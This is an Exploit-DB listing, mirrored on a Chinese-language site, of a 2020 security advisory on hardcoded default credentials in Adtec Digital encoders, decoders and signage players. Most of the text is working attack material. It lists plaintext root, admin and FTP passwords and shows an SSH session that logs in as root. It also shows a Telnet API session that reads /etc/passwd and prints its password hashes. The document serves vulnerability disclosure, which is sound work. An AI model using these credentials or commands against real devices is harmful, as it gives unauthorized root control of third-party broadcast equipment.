Adtec Digital Multiple Products – Default Hardcoded Credentials Remote Root

• Exploit Database
• 121 阅读

• 作者： LiquidWorm
  日期： 2020-10-27
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/48954/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109

  # Exploit Title: Adtec Digital Multiple Products - Default Hardcoded Credentials Remote Root # Date: 2020-07-24 # Exploit Author: LiquidWorm # Software Link: https://www.adtecdigital.com / https://www.adtecdigital.com/support/documents-downloads # Version: Multiple   Adtec Digital Multiple Products - Default Hardcoded Credentials Remote Root     Vendor: Adtec Digital, Inc. Product web page: https://www.adtecdigital.com https://www.adtecdigital.com/support/documents-downloads Affected version: SignEdje Digital Signage Player v2.08.28 mediaHUB HD-Pro High & Standard Definition MPEG2 Encoder v3.07.19 afiniti Multi-Carrier Platform v1905_11 EN-31 Dual Channel DSNG Encoder / Modulator v2.01.15 EN-210 Multi-CODEC 10-bit Encoder / Modulator v3.00.29 EN-200 1080p AVC Low Latency Encoder / Modulator v3.00.29 ED-71 10-bit / 1080p Integrated Receiver Decoder v2.02.24 edje-5110 Standard Definition MPEG2 Encoder v1.02.05 edje-4111 HD Digital Media Player v2.07.09 Soloist HD-Pro Broadcast Decoder v2.07.09 adManage Traffic & Media Management Application v2.5.4   Summary: Adtec Digital is a leading manufacturer of Broadcast, Cable and IPTV products and solutions.   Desc: The devices utilizes hard-coded and default credentials within its Linux distribution image for Web/Telnet/SSH access. A remote attacker could exploit this vulnerability by logging in using the default credentials for accessing the web interface or gain shell access as root.   Tested on: GNU/Linux 4.1.8 (armv7l) GNU/Linux 3.12.38 (PowerPC) GNU/Linux 2.6.14 (PowerPC) Adtec Embedded Linux 0.9 (fido) Apache     Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience     Advisory ID: ZSL-2020-5603 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5603.php     24.07.2020   --     Creds: ------   adtec:none:500:1000:adtec:/media:/bin/sh admin:1admin!:502:502:admin:/home/admin:/bin/sh root1:1root!:0:0:root:/root:/bin/sh adtecftp:adtecftp2231     SSH: ----   login as: root root@192.168.3.12's password:   Successfully logged in. Thank you for choosing Adtec Digital products- we know you had a choice and we appreciate your decision!   root@targethostname:~# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) -- admin@targethostname:/$ id uid=502(admin) gid=502(admin) groups=0(root),502(admin) admin@targethostname:~$ id adtec uid=500(adtec) gid=1000(users) groups=1000(users),72(apache) admin@targethostname:~$ cat /etc/sudoers |grep -v "#" rootALL=(ALL) ALL apache ALL=(ALL) NOPASSWD: ALL     Telnet (API): -------------   Adtec Resident Telnet Server... UserName: adtec adtec PassWord: none User adtec connected *.SYSD SHELLCMD cat /etc/passwd *.SYSD CMD cat /etc/passwd OK root:he7TRuXjJjxfc:0:0:root:/root:/bin/sh adtec:GC1BpYa80PaoY:500:1000:adtec:/media:/bin/sh apache:!!:72:72:Apache Server:/dev/null:/sbin/nologin fregd:!!:73:73:Freg Daemon:/dev/null:/sbin/nologin ntp:!!:38:38:NTP Server:/dev/null:/sbin/nologin syslogd:!!:74:74:Syslog Daemon:/dev/null:/sbin/nologin admin:rDglOB38TVYRg:502:502:admin:/home/admin:/bin/sh sshd:x:71:65:SSH daemon:/var/lib/sshd:/bin/false avahi:x:82:82:Avahi Daemon:/dev/null/:/sbin/nologin avahi-autoipd:x:83:83:Avahi Autoipd:/dev/null/:/sbin/nologin messagebus:x:81:81:Message Bus Daemon:/dev/null:/sbin/nologin ... ...